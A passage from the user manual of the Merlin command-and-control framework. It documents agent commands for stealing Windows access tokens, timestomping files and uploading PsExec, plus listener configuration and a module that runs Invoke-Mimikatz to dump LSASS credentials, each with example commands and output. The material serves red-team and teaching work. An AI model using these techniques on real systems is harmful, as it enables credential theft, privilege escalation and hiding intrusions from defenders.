[-] Created job piloeJbKPp for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job piloeJbKPp for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully created a Windows access token for ACME\Administrator with a logon␣
↪ID of 0xA703CF0
```

8.46.2 privs

The `privs` command enumerates the privilege associated with either the current process or a remote process. If the current process has a created or stolen, and process ID argument is not provided, then the applied token's privileges will be enumerated.

`token privs [<PID>]`

Current process:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token privs
[-] Created job rBIkAAWkIr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job rBIkAAWkIr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Process ID 6892 access token integrity level: High, privileges (24):
        Privilege: SeIncreaseQuotaPrivilege, Attribute:
        Privilege: SeSecurityPrivilege, Attribute:
        Privilege: SeTakeOwnershipPrivilege, Attribute:
        Privilege: SeLoadDriverPrivilege, Attribute:
        Privilege: SeSystemProfilePrivilege, Attribute:
        Privilege: SeSystemtimePrivilege, Attribute:
        Privilege: SeProfileSingleProcessPrivilege, Attribute:
        Privilege: SeIncreaseBasePriorityPrivilege, Attribute:
        Privilege: SeCreatePagefilePrivilege, Attribute:
        Privilege: SeBackupPrivilege, Attribute:
        Privilege: SeRestorePrivilege, Attribute:
        Privilege: SeShutdownPrivilege, Attribute:
        Privilege: SeDebugPrivilege, Attribute: SE_PRIVILEGE_ENABLED
        Privilege: SeSystemEnvironmentPrivilege, Attribute:
        Privilege: SeChangeNotifyPrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_
↪DEFAULT,SE_PRIVILEGE_ENABLED
        Privilege: SeRemoteShutdownPrivilege, Attribute:
        Privilege: SeUndockPrivilege, Attribute:
        Privilege: SeManageVolumePrivilege, Attribute:
        Privilege: SeImpersonatePrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_DEFAULT,
↪SE_PRIVILEGE_ENABLED
        Privilege: SeCreateGlobalPrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_
↪DEFAULT,SE_PRIVILEGE_ENABLED
```

(continues on next page)

(continued from previous page)

```
        Privilege: SeIncreaseWorkingSetPrivilege, Attribute:
        Privilege: SeTimeZonePrivilege, Attribute:
        Privilege: SeCreateSymbolicLinkPrivilege, Attribute:
        Privilege: SeDelegateSessionUserImpersonatePrivilege, Attribute:
```

Remote process:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token privs 8156
[-] Created job BAKadQhkOc for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job BAKadQhkOc for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Process ID 8156 access token integrity level: Low, privileges (2):
        Privilege: SeChangeNotifyPrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_
↪DEFAULT,SE_PRIVILEGE_ENABLED
        Privilege: SeIncreaseWorkingSetPrivilege, Attribute:
```

8.46.3 rev2self

The `rev2self` command leverages the RevertToSelf Windows API function and releases, or drops, any access token that have been created or stolen.

Note: There is an unregistered `rev2self` command alias that can be use from the agent root menu prompt

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token rev2self
[-] Created job ZXKyKuIZru for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job ZXKyKuIZru for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully reverted to self and dropped the impersonation token
```

8.46.4 steal

The `steal` command obtains a handle to a remote process' access token, duplicates it through the DuplicateTokenEx Windows API, and subsequently uses it to perform future post-exploitation commands.

Note: There is an unregistered `steal_token` command alias that can be use from the agent root menu prompt

`token steal <PID>`

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token steal 1320
[-] Created job xBDIToajju for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job xBDIToajju for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully stole token from PID 1320 for user ACME\Administrator with LogonID␣
↪0x39DF3C
```

8.46.5 whoami

The `whoami` command leverages the Windows GetTokenInformaion API call to return information about both the process and thread Windows access token. This information includes:

- Username
- Token ID
- Logon ID
- Privilege Count
- Group Count
- Token Type
- Token Impersonation Level
- Integrity Level

`token whoami`

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token whoami
[-] Created job UZXXIILnYD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job UZXXIILnYD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Process (Primary) Token:
        User: ACME\rastley,Token ID: 0x9CA475E,Logon ID: 0x26C3A6,Privilege Count: 24,
↪Group Count: 14,Type: Primary,Impersonation Level: Anonymous,Integrity Level: High
Thread (Primary) Token:
        User: NT AUTHORITY\SYSTEM,Token ID: 0x9CC08EB,Logon ID: 0x3E7,Privilege␣
↪Count: 28,Group Count: 4,Type: Primary,Impersonation Level: Impersonation,Integrity␣
↪Level: System
```

8.47 touch

The `touch` command is used to duplicate a timestamp from one file to another. This technique is also known as timestomp

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ls -la /tmp/deleteMe.txt
[-] Created job hEXYmbbGpW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job hEXYmbbGpW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] -rw-rw-r-- 1 rastley rastley 0 Aug  2 20:11 /tmp/deleteMe.txt

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» touch /etc/passwd /tmp/deleteMe.
↪txt
[-] Created job Canvuiuoxj for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job Canvuiuoxj for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] File: /tmp/deleteMe.txt
Last modified and accessed time set to: 2020-09-16 07:05:18.245022776 -0400 EDT

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ls -la /tmp/deleteMe.txt
[-] Created job gTFZbcgeJW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job gTFZbcgeJW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] -rw-rw-r-- 1 rastley rastley 0 Sep 16  2020 /tmp/deleteMe.txt
```

8.48 upload

The `upload` command is used to upload a file *from* the Merlin server *to* the host where the Merlin agent is running. The command is called by proving the location of the file on the Merlin server followed by the location to save the file on the host where the Merlin agent is running.

Note: Because `\` is used to escape a character, file paths require two (e.g., `C:\\Windows`)

Note: Enclose file paths containing a space with quotation marks (e.g.,. `"C:\\Windows\\Program Files\\"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» upload␣
↪C:\\SysinternalsSuite\\PsExec.exe C:\\Windows\\PsExec.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job vXJsZdZLPP for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.49 uptime

Note: This command is only available to agent running on a `Windows` operating system!

The `uptime` command uses the Windows API GetTickCount64 method to determine how long the host has been running.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» uptime
[-] Created job GJwrXttowA for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job GJwrXttowA for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
System uptime: 853h31m14.921s
```

8.50 !

Any command that begins with a `!` (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin» !ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
```

(continues on next page)

(continued from previous page)

```
       valid_lft forever preferred_lft forever

Merlin»
```

CHAPTER 9

Listener Menu

9.1 Main

9.1.1 help

The `help` command is used to view available commands for the Listener menu. Tab completion can be used at any time to provide the user a list of commands that can be selected.

Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands for the current menu context.

```
   COMMAND   |           DESCRIPTION            |             OPTIONS
+------------+----------------------------------+---------------------------------+
  back       | Return to the main menu          |
  configure  | Interact with and configure a    | configure <listener_name>
             | named listener to modify it      |
  delete     | Delete a named listener          | delete <listener_name>
  info       | Display all information about    | info <listener_name>
             | a listener                       |
  interact   | Interact with an agent           | interact <agent_id>
  list       | List all created listeners       |
  main       | Return to the main menu          |
  sessions   | List all agents session          |
             | information. Alias for MSF       |
             | users                            |
  start      | Start a named listener           | start <listener_name>
  stop       | Stop a named listener            | stop <listener_name>
  use        | Create a new listener by         | use
             | protocol type                    | [http,https,http2,http3,h2c]
  !          | Execute a command on the host    | !<command> <args>
             | operating system                 |
```

9.1.2 back

The `back` command is used to move one level back. In this case the command will return the user to the *Main Menu*.

```
Merlin[listeners]» back
Merlin»
```

9.1.3 configure

The `configure` command is used to operate, or configure, a previously created listener.

NOTE: Cycle through the available listeners using the tab key after the info command.

```
Merlin[listeners]» configure Default
Merlin[listeners][Default]»
```

9.1.4 delete

The `delete` command is used to delete a listener by its name. The user will be prompted for confirmation to prevent accidentally deleting a listener.

NOTE: Cycle through the available listeners using the tab key after the delete command.

```
Merlin[listeners]» delete Default

Are you sure you want to delete the Default listener? [yes/NO]:
yes
Merlin[listeners]»
[+] deleted listener Default:0db5969e-2fa5-4f6d-8ec8-e07eaf4bf2c2
Merlin[listeners]»
```

9.1.5 info

The `info` command is used to display information about a previously created Listener.

Note: Cycle through the available listeners using the tab key after the info command.

- **Protocol**: The communication protocol the listener will use
- **Name**: The operator defined name for the listener
- **Port**: The port that the listener will bind to
- **PSK**: The Pre-Shared Key (PSK) that the listener will use for initial communication with an agent
- **URLS**: The URLs that the listener will answer on for agent communications
- **X509Cert**: The file path to the SSL/TLS x509 public certificate the listener will use
- **X509Key**: The file path to the SSL/TLS x509 key file the listener will use
- **Description**: The operator defined description of the listener
- **ID**: A unique identifier for the instantiated listener
- **Interface**: The network interface that the listener will bind to. Use `0.0.0.0` for ALL interfaces

```
Merlin[listeners]» info Default
+-------------+-----------------------------------------------------------------+
|    NAME     |                              VALUE                              |
+-------------+-----------------------------------------------------------------+
| Protocol    | HTTPS                                                           |
+-------------+-----------------------------------------------------------------+
| Name        | Default                                                         |
+-------------+-----------------------------------------------------------------+
| Port        | 443                                                             |
+-------------+-----------------------------------------------------------------+
| PSK         | merlin                                                          |
+-------------+-----------------------------------------------------------------+
| URLS        | /                                                               |
+-------------+-----------------------------------------------------------------+
| X509Cert    |                                                                 |
+-------------+-----------------------------------------------------------------+
| X509Key     |                                                                 |
+-------------+-----------------------------------------------------------------+
| Description | Default listener                                                |
+-------------+-----------------------------------------------------------------+
| ID          | aa020d5c-7c1a-4781-9d1d-e7c659d126f9                            |
+-------------+-----------------------------------------------------------------+
| Interface   | 127.0.0.1                                                       |
+-------------+-----------------------------------------------------------------+
```

9.1.6 interact

The `interact` command takes one argument, the agent ID, and is used to switch agents and interact with a different, specified agent.

Note: Use the built-in tab completion to cycle through and select the agent to interact with.

```
Merlin[agent][c22c435f-f7c4-445b-bcd4-0d4e020645af]» interact d07edfda-e119-4be2-a20f-
↪918ab701fa3c
Merlin[agent][d07edfda-e119-4be2-a20f-918ab701fa3c]»
```

9.1.7 list

The `list` command returns a list of all created listeners to include some configuration information and status.

```
Merlin[listeners]» list

+---------+-----------+------+----------+---------+------------------+
|  NAME   | INTERFACE | PORT | PROTOCOL | STATUS  |   DESCRIPTION    |
+---------+-----------+------+----------+---------+------------------+
| Default | 127.0.0.1 | 443  |  HTTPS   | Running | Default listener |
|  HTTP3  | 127.0.0.1 | 443  |  HTTP3   | Running | Default listener |
|   H2C   | 127.0.0.1 |  80  |   H2C    | Running | Default listener |
+---------+-----------+------+----------+---------+------------------+
```

9.1.8 main

The `main` command returns to the *Main Menu*.

```
Merlin[listeners]» main
Merlin»
```

9.1.9 sessions

The `sessions` command is used to quickly list information about established agents from the main menu to include their status. The sessions command is available from any menu in the CLI.

- AGENT GUID - A unique identifier for every running instance
- TRANSPORT - The protocol the agent is communicating over
- PLATFORM - The operating system and architecture the agent is running on
- HOST - The hostname where the agent is running
- USER - The username that hte agent is running as
- PROCESS - The Agent's process name followed by its Process ID (PID) in parenthesis
- STATUS - The Agent's communication status of either active, delayed, or dead
- LAST CHECKIN - The amount of time that has passed since the agent last checked in
- NOTE - A free-form text area for operators to record notes about a specific agent; tracked server-side only

```
Merlin» sessions

                AGENT GUID               |    TRANSPORT    |   PLATFORM    |      HOST ␣
↪     |        USER          |                 PROCESS                  | STATUS |␣
↪LAST CHECKIN |      NOTE
+-------------------------------------+----------------+--------------+------------
↪-----+--------------------+------------------------------------------+--------+----
↪----------+-----------------+
  d07edfda-e119-4be2-a20f-918ab701fa3c | HTTP/2 over TLS | linux/amd64   | ubuntu    ␣
↪     | rastley             | main(200769)                             | Active |␣
↪0:00:08 ago  | Demo Agent Here
```

9.1.10 start

The `start` command is used to start a previously created and stopped Listener by its name.

NOTE: Cycle through the available listeners using the tab key after the start command.

```
Merlin[listeners]» start Default
Merlin[listeners]»
[+] Restarted Default HTTPS listener on 127.0.0.1:443

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates
Merlin[listeners]»
```

9.1.11 stop

The `stop` command is used to stop a previously created Listener by its name.

NOTE: Cycle through the available listeners using the tab key after the stop command.

```
Merlin[listeners]» stop Default
Merlin[listeners]»
[+] Default listener was stopped
Merlin[listeners]»
```

9.1.12 use

The *use* command is leveraged to create a new listener. The `use` command expects the listener type, by protocol, to follow. Press enter to select a template for the listener type. View the ?? section for additional information on creating a listener.

NOTE: Cycle through the available listener types using the tab key after the use command.

```
Merlin[listeners]» use http3
Merlin[listeners][http3]»
```

9.1.13 !

Any command that begins with a `!` (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin» !ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»
```

9.2 Instantiated

This menu is accessed by issuing the the `interact` command followed by the name of previously created (instantiated) Listener. The `help` command is used to view available commands for the instantiated Listener menu. Tab completion can be used at any time to provide the user a list of commands that can be selected.

```
Merlin[listeners]» configure Default
Merlin[listeners][Default]» help

```

(continues on next page)

(continued from previous page)

```
  COMMAND |          DESCRIPTION           |        OPTIONS
+---------+--------------------------------+------------------------+
  back    | Return to the listeners menu   |
  delete  | Delete this listener           | delete <listener_name>
  info    | Display all configurable       |
          | information the current        |
          | listener                       |
  interact| Interact with an agent         | interact <agent_id>
  main    | Return to the main menu        |
  restart | Restart this listener          |
  sessions| List all agents session        |
          | information. Alias for MSF     |
          | users                          |
  set     | Set a configurable option      | set <option_name>
  show    | Display all configurable       |
          | information about a listener   |
  start   | Start this listener            |
  status  | Get the server's current       |
          | status                         |
  stop    | Stop the listener              |
  *       | Anything else will be execute  |
          | on the host operating system   |
Listener Help Menu
```

9.2.1 back

The `back` command is used to move one level back. In this case the command will return the user to the root Listener menu.

```
Merlin[listeners][Default]» back
Merlin[listeners]»
```

9.2.2 delete

The `delete` command is used to delete the Listener you are currently interacting with, indicated in the square brackets in the Merlin prompt. The user will be prompted for confirmation to prevent accidentally deleting a listener.

```
Merlin[listeners][Default]» delete

Are you sure you want to delete the Default listener? [yes/NO]:
yes
Merlin[listeners]»
```

9.2.3 info

The `info` command is used to display information about the Listener you are currently interacting with, indicated in the square brackets in the Merlin prompt.

```
Merlin[listeners][Default]» info
+-------------+--------------------------------------+
|    NAME     |                VALUE                 |
```

(continues on next page)

(continued from previous page)

```
+-------------+--------------------------------------+
| Name        | Default                              |
+-------------+--------------------------------------+
| ID          | 2e3025e8-6e8e-4fe1-b69c-5d248e34068c |
+-------------+--------------------------------------+
| Interface   | 127.0.0.1                            |
+-------------+--------------------------------------+
| Port        | 443                                  |
+-------------+--------------------------------------+
| Protocol    | HTTPS                                |
+-------------+--------------------------------------+
| PSK         | merlin                               |
+-------------+--------------------------------------+
| URLS        | /                                    |
+-------------+--------------------------------------+
| X509Cert    |                                      |
+-------------+--------------------------------------+
| X509Key     |                                      |
+-------------+--------------------------------------+
| Description | Default listener                     |
+-------------+--------------------------------------+
| Status      | Running                              |
+-------------+--------------------------------------+
Merlin[listeners][Default]»
```

9.2.4 interact

See the *interact* section

9.2.5 main

The `main` command returns to the Main menu

```
Merlin[listeners][Default]» main
Merlin»
```

9.2.6 restart

The `restart` command stops the current listener and then immediately starts it. This is useful to apply configuration changes made with the `set` command.

```
Merlin[listeners][Default]» restart

    [-] Certificate was not found at:
    Creating in-memory x.509 certificate used for this session only
    Merlin[listeners][Default]»
    [+] Default listener was successfully restarted
    Merlin[listeners][Default]»
```

9.2.7 sessions

See the *sessions* section

9.2.8 set

The `set` command is used to set the value of a configurable option for the Listener you are currently interacting with. Use the `show` command to see a list of configurable options.

NOTE: Cycle through the available configurable options for the current Listener using the tab key after the `set` command.

```
Merlin[listeners][Default]» set Name AcmeHTTPS
Merlin[listeners][Default]»
[+] set Name to: AcmeHTTPS
Merlin[listeners][Default]» set Description Main listener for Acme hacks
Merlin[listeners][Default]»
[+] set Description to: Main listener for Acme hacks
Merlin[listeners][Default]»
Merlin[listeners][Default]» info
+-------------+----------------------------------------+
|    NAME     |                VALUE                   |
+-------------+----------------------------------------+
| Port        | 443                                    |
+-------------+----------------------------------------+
| URLS        | /                                      |
+-------------+----------------------------------------+
| X509Key     |                                        |
+-------------+----------------------------------------+
| Description | Main listener for Acme hacks           |
+-------------+----------------------------------------+
| Name        | AcmeHTTPS                              |
+-------------+----------------------------------------+
| ID          | 2e3025e8-6e8e-4fe1-b69c-5d248e34068c   |
+-------------+----------------------------------------+
| Interface   | 127.0.0.1                              |
+-------------+----------------------------------------+
| Protocol    | HTTPS                                  |
+-------------+----------------------------------------+
| PSK         | merlin                                 |
+-------------+----------------------------------------+
| X509Cert    |                                        |
+-------------+----------------------------------------+
| Status      | Running                                |
+-------------+----------------------------------------+
Merlin[listeners][Default]»
```

9.2.9 show

The `show` command is used to show a table of all configurable options.

```
Merlin[listeners][Default]» show
+-------------+----------------------------------------+
|    NAME     |                VALUE                   |
+-------------+----------------------------------------+
```

(continues on next page)

(continued from previous page)

```
| PSK         | merlin                                 |
+-------------+----------------------------------------+
| Name        | AcmeHTTPS                              |
+-------------+----------------------------------------+
| X509Cert    |                                        |
+-------------+----------------------------------------+
| X509Key     |                                        |
+-------------+----------------------------------------+
| Description | Main listener for Acme hacks           |
+-------------+----------------------------------------+
| ID          | 2e3025e8-6e8e-4fe1-b69c-5d248e34068c |
+-------------+----------------------------------------+
| Interface   | 127.0.0.1                              |
+-------------+----------------------------------------+
| Port        | 443                                    |
+-------------+----------------------------------------+
| Protocol    | HTTPS                                  |
+-------------+----------------------------------------+
| URLS        | /                                      |
+-------------+----------------------------------------+
| Status      | Running                                |
+-------------+----------------------------------------+
Merlin[listeners][Default]»
```

9.2.10 start

The `start` command is used to start the current Listener you are interacting with, indicated in the square brackets in the Merlin prompt.

```
Merlin[listeners][Default]» start

[-] Certificate was not found at:
Creating in-memory x.509 certificate used for this session only
Merlin[listeners][Default]»
[+] Restarted Default HTTPS listener on 127.0.0.1:443
Merlin[listeners][Default]»
```

9.2.11 status

The `status` command is used to quickly determine if the Listener's server you are currently interacting with is running or stopped.

```
Merlin[listeners][Default]» status
Merlin[listeners][Default]»
Running
Merlin[listeners][Default]»
```

9.2.12 stop

The `stop` command is used to stop the current Listener you are interacting with, indicated in the square brackets in the Merlin prompt.

```
Merlin[listeners][Default]» stop
Merlin[listeners][Default]»
[+] Default listener was stopped
Merlin[listeners][Default]»
```

9.2.13 !

Any command that begins with a ! (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin» !ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»
```

9.3 Template

The Listener Template menu is accessed by issuing the `use` command followed by a valid listener type from the Listener Main menu. The `help` command is used to view available commands for the Listener menu. Tab completion can be used at any time to provide the user a list of commands that can be selected.

```
Merlin[listeners]» use https
Merlin[listeners][https]» help

      COMMAND |          DESCRIPTION           |      OPTIONS
    +---------+--------------------------------+-------------------+
      back    | Return to the listeners menu   |
      execute | Create and start the listener  |
              | (alias)                        |
      info    | Display all configurable       |
              | information about a listener   |
      interact| Interact with an agent         | interact <agent_id>
      main    | Return to the main menu        |
      run     | Create and start the listener  |
              | (alias)                        |
      sessions| List all agents session        |
              | information. Alias for MSF     |
              | users                          |
      set     | Set a configurable option      | set <option_name>
      show    | Display all configurable       |
              | information about a listener   |
      start   | Create and start the listener  |
```

(continues on next page)

(continued from previous page)

```
      *       | Anything else will be execute  |
              | on the host operating system   |
    Listener Setup Help Menu
```

9.3.1 back

The `back` command is used to move one level back. In this case the command will return the user to the root Listener menu.

```
Merlin[listeners][https]» back
Merlin[listeners]»
```

9.3.2 execute

The `execute` command is used to create and start the Listener from the configured template options. This is an alias for the `start` command.

```
Merlin[listeners]» use https
Merlin[listeners][https]» execute

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates

[+] Default listener was created with an ID of: f6826564-000a-4edf-94b2-b79ee7d892a5

[+] Started HTTPS listener on 127.0.0.1:443
Merlin[listeners][Default]»
```

9.3.3 info

The `info` command is used to display the Listener template configurable options and their current value.

```
Merlin[listeners]» use https
Merlin[listeners][https]» info
+-------------+------------------+
|    NAME     |      VALUE       |
+-------------+------------------+
| PSK         | merlin           |
+-------------+------------------+
| Interface   | 127.0.0.1        |
+-------------+------------------+
| Port        | 443              |
+-------------+------------------+
| URLS        | /                |
+-------------+------------------+
| X509Cert    |                  |
+-------------+------------------+
| X509Key     |                  |
+-------------+------------------+
| Name        | Default          |
```

(continues on next page)

(continued from previous page)

```
+-------------+------------------+
| Description | Default listener |
+-------------+------------------+
| Protocol    | https            |
+-------------+------------------+
Merlin[listeners][https]»
```

9.3.4 interact

See the *interact* section

9.3.5 main

The `main` command returns to the Main menu

```
Merlin[listeners][https]» main
Merlin»
```

9.3.6 run

The `run` command is used to create and start the Listener from the configured template options. This is an alias for the `start` command.

```
Merlin[listeners]» use https
Merlin[listeners][https]» run

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates

[+] Default listener was created with an ID of: 632db67c-7045-462f-bf09-aea90272aed5
Merlin[listeners][Default]»
[+] Started HTTPS listener on 127.0.0.1:443
Merlin[listeners][Default]»
```

9.3.7 sessions

See the *sessions* section

9.3.8 set

The `set` command is used to set the value of a configurable option for the Listener you are currently interacting with. Use the `show` command to see a list of configurable options.

NOTE: Cycle through the available configurable options for the current Listener using the tab key after the `set` command.

```
Merlin[listeners]» use https
Merlin[listeners][https]» set Name Merlin Demo Listener
[+] set Name to: Merlin Demo Listener
Merlin[listeners][https]»
```

9.3.9 show

The `show` command is used to display the Listener template configurable options and their current value.

```
Merlin[listeners][https]» show
+-------------+-------------------------------------------------------------------+
|    NAME     |                               VALUE                               |
+-------------+-------------------------------------------------------------------+
| URLS        | /                                                                 |
+-------------+-------------------------------------------------------------------+
| X509Cert    | /home/joe/go/src/github.com/Ne0nd0g/merlin/data/x509/server.crt |
+-------------+-------------------------------------------------------------------+
| Protocol    | https                                                             |
+-------------+-------------------------------------------------------------------+
| Interface   | 127.0.0.1                                                         |
+-------------+-------------------------------------------------------------------+
| Port        | 443                                                               |
+-------------+-------------------------------------------------------------------+
| PSK         | merlin                                                            |
+-------------+-------------------------------------------------------------------+
| X509Key     | /home/joe/go/src/github.com/Ne0nd0g/merlin/data/x509/server.key |
+-------------+-------------------------------------------------------------------+
| Name        | Merlin Demo Listener                                              |
+-------------+-------------------------------------------------------------------+
| Description | Default listener                                                  |
+-------------+-------------------------------------------------------------------+
Merlin[listeners][https]»
```

9.3.10 start

The `start` command is used to create and start the Listener from the configured template options.

```
Merlin[listeners]» use https
Merlin[listeners][https]» start

[+] Default listener was created with an ID of: 20b337ba-01d4-44eb-9ebd-cdebf156967e

[+] Started HTTPS listener on 127.0.0.1:443

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates
Merlin[listeners][Default]»
```

9.3.11 !

Any command that begins with a `!` (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to

open a new terminal.

```
Merlin» !ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»
```

CHAPTER 10

Modules Menu

The module menu context is used to interact with, and configure, a module. The Merlin prompt will include the word module along with the identifier for the selected module. Type `help` to see a list of available commands for the agent menu context.

```
Merlin» use module windows/x64/powershell/powersploit/Invoke-Mimikatz
Merlin[module][Invoke-Mimikatz]» help

  COMMAND |          DESCRIPTION           |           OPTIONS
+---------+--------------------------------+-------------------------------+
  back    | Return to the main menu        |
  info    | Show information about a       |
          | module                         |
  interact| Interact with an agent         | interact <agent_id>
  main    | Return to the main menu        |
  reload  | Reloads the module to a fresh  |
          | clean state                    |
  run     | Run or execute the module      |
  sessions| List all agents session        |
          | information. Alias for MSF     |
          | users                          |
  set     | Set the value for one of the   | <option name> <option value>
          | module's options               |
  show    | Show information about a       | info, options
          | module or its options          |
!         | Execute a command on the host  | !<command> <args>
          | operating system               |
```

10.1 back

The `back` command is used to leave the Module menu and return back to the *Main Menu*.

```
Merlin[module][Invoke-Mimikatz]» back
Merlin»
```

10.2 info

The `info` command command is used to print all of the information about a module to the screen. This information includes items such as module's name, authors, credits, description, notes, and configurable options. This is an alias for the `show info` command.

```
Merlin[module][Invoke-Mimikatz]» show info
Module:
        Invoke-Mimikatz
Platform:
        windows\x64\PowerShell
Authors:
        Russel Van Tuyl (@Ne0nd0g)
Credits:
        Joe Bialek (@JosephBialek)
        Benjamin Delpy (@gentilkiwi)
Description:
        This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to␣
↪reflectively load Mimikatz completely in memory. This allows you to do things such␣
↪as dump credentials without ever writing the mimikatz binary to disk. The script␣
↪has a ComputerName parameter which allows it to be executed against multiple␣
↪computers. This script should be able to dump credentials from any version of␣
↪Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Agent: 00000000-0000-0000-0000-000000000000

Module options(Invoke-Mimikatz)

      NAME      |                VALUE                 | REQUIRED |          ␣
↪DESCRIPTION
+---------------+--------------------------------------+----------+--------------------
↪------------+
  Agent         | 00000000-0000-0000-0000-000000000000 | true     | Agent on which to␣
↪run module
                |                                      |          | Invoke-Mimikatz
  DumpCreds     | true                                 | false    | [Switch]Use␣
↪mimikatz to dump
                |                                      |          | credentials out of␣
↪LSASS.
  DumpCerts     |                                      | false    | [Switch]Use␣
↪mimikatz to export
                |                                      |          | all private␣
↪certificates
                |                                      |          | (even if they are␣
↪marked
                |                                      |          | non-exportable).
  Command       |                                      | false    | Supply mimikatz a␣
↪custom
                |                                      |          | command line. This␣
↪works
                |                                      |          | exactly the same␣
↪as running
```

(continues on next page)

(continued from previous page)

```
                |                                          |          | the mimikatz␣
↪executable
                |                                          |          | like this: mimikatz
                |                                          |          | "privilege::debug␣
↪exit" as an
                |                                          |          | example.
  ComputerName |                                          | false    | Optional, an array␣
↪of
                |                                          |          | computernames to␣
↪run the
                |                                          |          | script on.

Notes: This is part of the PowerSploit project https://github.com/PowerShellMafia/
↪PowerSploit
```

10.3 interact

The `interact` command takes one argument, the agent ID, and is used to switch agents and interact with a different, specified agent.

Note: Use the built-in tab completion to cycle through and select the agent to interact with.

```
Merlin[module][BASH]» interact c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
```

10.4 main

